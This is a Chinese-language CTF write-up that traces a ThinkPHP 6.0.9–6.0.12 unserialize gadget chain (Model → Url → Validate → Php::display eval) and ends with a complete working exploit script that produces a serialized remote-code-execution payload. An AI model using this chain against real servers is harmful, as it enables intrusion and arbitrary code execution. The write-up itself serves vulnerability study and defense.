ThinkPHP v6.0.9-12 eval反序列化代码执行 分析

前言

前几天打西湖杯的时候有个ThinkPHP v6.0.9 的题目,无法写文件,找到这篇文章利用eval执行php,所以跟一下,我跟的版本为6.0.9

参考:ThinkPHP v6.0.7 eval反序列化利用链

6.0.12存在利用

利用条件

存在一个反序列点

demo : app/controller/Index.php

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
public function index()
{
highlight_file(__FILE__);
unserialize($_GET['unser']);
}
}

分析

全局搜索__destruct函数

抽象类 Model(vendor/topthink/think-orm/src/Model.php) 存在一个 __destuct 魔法方法。

进入save() 需要让 lazySave = true

private $lazySave = false;

跟进save()方法

abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable

public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data); //没用

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { //cys: 绕过两个函数 1.要求$this->data非空非零
return false; //cys: 2.这里需要 $this->trigger('BeforeWrite') = true 跟进函数即为: $this->withEvent = false
}

$result = $this->exists ? $this->updateData() : $this->insertData($sequence); //cys: private $exists = false; 尝试跟进 insertData() 参数 $sequence = null

这里需要绕过if语句,即 $this->isEmpty() 为 false $this->trigger('BeforeWrite') 为 true

跟进isEmpty()trigger()

public function isEmpty(): bool
{
return empty($this->data);
}

protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}

那也就是$this->data 要求不为 null ,且 $this->withEvent == false

接着进行下一步:
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

发现 $this->exists默认false 那么跟进 $this->insertData($sequence) ,默认 $sequence = null

protected function insertData(string $sequence = null): bool
{
if (false === $this->trigger('BeforeInsert')) {
return false;
}

$this->checkData(); //跟进checkDate() 发现为空操作
$data = $this->data;

// 时间戳自动写入
if ($this->autoWriteTimestamp) { // protected $autoWriteTimestamp; 未定义 跳出if
/**
*
*/
}

// 检查允许字段
$allowFields = $this->checkAllowFields(); //来到这里 跟进 checkAllowFields()

$db = $this->db();

$db->transaction(function () use ($data, $sequence, $allowFields, $db) {
$result = $db->strict(false)
->field($allowFields)
->replace($this->replace)
->sequence($sequence)
->insert($data, true);

// 获取自动增长主键
if ($result) {
$pk = $this->getPk();

if (is_string($pk) && (!isset($this->data[$pk]) || '' == $this->data[$pk])) {
unset($this->get[$pk]);
$this->data[$pk] = $result;
}
}

// 关联写入
if (!empty($this->relationWrite)) {
$this->autoRelationInsert();
}
});

// 标记数据已经存在
$this->exists = true;
$this->origin = $this->data;

// 新增回调
$this->trigger('AfterInsert');

return true;
}

上面 $this->trigger(‘BeforeInsert’) 为true 所以下一步

跟进 $this->checkData() 为空操作跳过,进入if判断

$this->autoWriteTimestamp 未定义所以跳出if,此时进行 $this->checkAllowFields()

跟进

protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) { //protected $field = []; protected $schema = []; 默认空数组
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else { //进入 else分支
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();

$this->field = $query->getConnection()->getTableFields($table);
}

return $this->field;
}

/**
*
*/
}

其中 $this->field$this->schema 的默认值都为 [] ,因而可以直接来到 else{

那么,继续跟进 $this->db

public function db($scope = []): Query
{
/** @var Query $query */
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);

if (!empty($this->table)) {
$query->table($this->table . $this->suffix); //$this->table 存在字符串拼接 使其为类可调用__toString()

}

/**
*
*/
}

第一句 $query = ... 可以直接跳过

而在 $query->table($this->table . $this->suffix) 有字符拼接。这样只需要让 $this->table (未定义)$this->suffix 为一个 就可以触发那个 类 的 __toString 魔法方法。

那么目前需要修改的参数为

  • $this->lazySave = true
  • $this->data = [7]
  • $this->withEvent = false
  • $this->table = 存在toString的一个类

魔术方法跳板

接下来找含有 __toString 方法的类

这里选择:
\tp6.0.9\vendor\topthink\framework\src\think\route\Url.php

class Url
public function __toString()
{
return $this->build();
}

跟进build()方法

public function build()
{
// 解析URL
$url = $this->url;
$suffix = $this->suffix;
$domain = $this->domain;
$request = $this->app->request;
$vars = $this->vars;

if (0 === strpos($url, '[') && $pos = strpos($url, ']')) { //第一个强比较导致退出if
// [name] 表示使用路由命名标识生成URL
$name = substr($url, 1, $pos - 1);
$url = 'name' . substr($url, $pos + 1);
}

if (false === strpos($url, '://') && 0 !== strpos($url, '/')) { // 进入if
$info = parse_url($url); //解析$url
$url = !empty($info['path']) ? $info['path'] : ''; //由于不存在['path'] 所以$url = '' 为空

if (isset($info['fragment'])) {
// 解析锚点
$anchor = $info['fragment'];

if (false !== strpos($anchor, '?')) {
// 解析参数
[$anchor, $info['query']] = explode('?', $anchor, 2);
}

if (false !== strpos($anchor, '@')) {
// 解析域名
[$anchor, $domain] = explode('@', $anchor, 2);
}
} elseif (strpos($url, '@') && false === strpos($url, '\\')) {
// 解析域名
[$url, $domain] = explode('@', $url, 2);
}
}

if ($url) {
/**
*
*/

$rule = $this->route->getName($checkName, $checkDomain);

/**
*
*/
}

if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain)) {
// 匹配路由命名标识
$url = $match[0];

if ($domain && !empty($match[1])) {
$domain = $match[1];
}

if (!is_null($match[2])) {
$suffix = $match[2];
}
} elseif (!empty($rule) && isset($name)) {
throw new \InvalidArgumentException('route name not exists:' . $name);
} else {
// 检测URL绑定
$bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null); //调用点在这里 所以向上需要$url为空
/**
*
*/
}
/**
*
*/
}

我们先让让 $this->url 构造成 a: ,此时 $url 的值也就为 '',后边的各种条件也不会成立,可以直接跳过 。

这里解释一下为什么$this->url 需要加 ':'

不加 ':' 时 parse_url 将参数解析为$info[path] 这样一来就不满足 $url 为空的条件

进入if($url) 这里因为 $url = '' 所以跳过进入

if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain))

elseif (!empty($rule) && isset($name))

但是因为$rule是在if($url)进行赋值,所以条件不成路 直接跳过进入else分支

$bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null);

仔细看这行代码 $this->route 可控 $domain$this->domain 也是可控

那么就得到 [可控类] -> getDomainBind([可控字符串]) 的调用形式,所以可以调用 __call 方法

综上 目前需要的条件是:

  • $this->url = ‘a:’
  • $this->app = 给个public的request属性的任意类

这里 $this->app 通过看师傅的exp new了一个Url

因为后续跳板是Validate ,看Url类的 __construct()方法

build()方法中也要求有request属性

所以这里的 app给一个request即可

接着往下

然后全局搜索 __call 魔法方法,在 Validate(vendor/topthink/framework/src/think/Validate.php)

public function __call($method, $args)
{
if ('is' == strtolower(substr($method, 0, 2))) {
$method = substr($method, 2);
}

array_push($args, lcfirst($method));

return call_user_func_array([$this, 'is'], $args); // 相当于 $this->is([$domain,'getDomainBind'])
}

这里的 call_user_func_array($this->is([$domain,'getDomainBind'])) ,其中 $domain 是可控的

跟进 is 方法

public function is($value, string $rule, array $data = []): bool  // $value = $domain  $rule = getDomainBind
{
switch (Str::camel($rule)) { //进入camel $rule 返回值为 getDomainBind
case 'require':
/**
*
*/
default:
if (isset($this->type[$rule])) { //进入default分支
// 注册的验证规则
$result = call_user_func_array($this->type[$rule], [$value]); //call_user_func_array($this->type['getDomainBind'], [$value])
}
/**
*
*/
}

return $result;
}

$value 即为 $domain$rule 变量的值即为 getDomainBind

接着进行 Str::camel($rule)

// class Str{}

public static function studly(string $value): string
{
$key = $value;
if (isset(static::$studlyCache[$key])) {
return static::$studlyCache[$key];
}
$value = ucwords(str_replace(['-', '_'], ' ', $value));
return static::$studlyCache[$key] = str_replace(' ', '', $value);
}

public static function camel(string $value): string
{
if (isset(static::$camelCache[$value])) {
return static::$camelCache[$value];
}
return static::$camelCache[$value] = lcfirst(static::studly($value));
}

返回值为 getDomainBind

具体分析:

跟进 $this->is 方法, $rule 变量的值即为 getDomainBind, Str::camel($rule) 的意思实际上是将 $rule = ‘getDomainBind’ 的 - 和 _ 替换成 ‘’ , 并将每个单词首字母大写存入 static::$studlyCache['getDomainBind'] 中,然后回头先将首字母小写后赋值给 camel 方法的 static::$cameCache['getDomainBind'] ,即返回值为 getDomainBind 。

此时进入default分支 进入第一个if语句,这样就得到了

$result = call_user_func_array($this->type[$rule], [$value]);

即:call_user_func_array($this->type['getDomainBind'], [$value])

二者都可控
$this->type[$rule]是函数名$value是函数的参数

所以我们可以传入单个参数的函数调用

我们来到 Php 类 (vendor/topthink/framework/src/think/view/driver/Php.php)中,这里存在一个调用 eval 的且可传 单参数 的方法 display

public function display(string $content, array $data = []): void
{
$this->content = $content;

extract($data, EXTR_OVERWRITE);
eval('?>' . $this->content);
}

根据上边的 call_user_func_array([可控变量],[[可控变量]]) 形式,构造出 call_user_func_array(['Php类','display'],['<?php (任意代码) ?>']) 即可执行 eval 了。

  • 即$this->type = [“getDomainBind” => [php类,”display”]]

由于入口处Model是一个抽象类,所以要从继承Model的类来进行实现

这里从Pivot(vendor/topthink/tink-orm/src/model/Pivot.php)

至此分析结束

大概流程

exp

<?php
namespace think\model\concern{
trait Attribute{
private $data = [7];
}
}

namespace think\view\driver{
class Php{}
}

namespace think{
abstract class Model{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
protected $table;
function __construct($cmd){
$this->lazySave = true;
$this->withEvent = false;
$this->table = new route\Url(new Middleware,new Validate,$cmd);
}
}
class Middleware{
public $request = 2333;
}
class Validate{
protected $type;
function __construct(){
$this->type = [
"getDomainBind" => [new view\driver\Php,'display']
];
}
}
}

namespace think\model{
use think\Model;
class Pivot extends Model{}
}

namespace think\route{
class Url
{
protected $url = 'a:';
protected $domain;
protected $app;
protected $route;
function __construct($app,$route,$cmd){
$this->domain = $cmd;
$this->app = $app;
$this->route = $route;
}
}
}

namespace{
echo urlencode(serialize(new think\Model\Pivot('<?php phpinfo(); exit(); ?>')));
}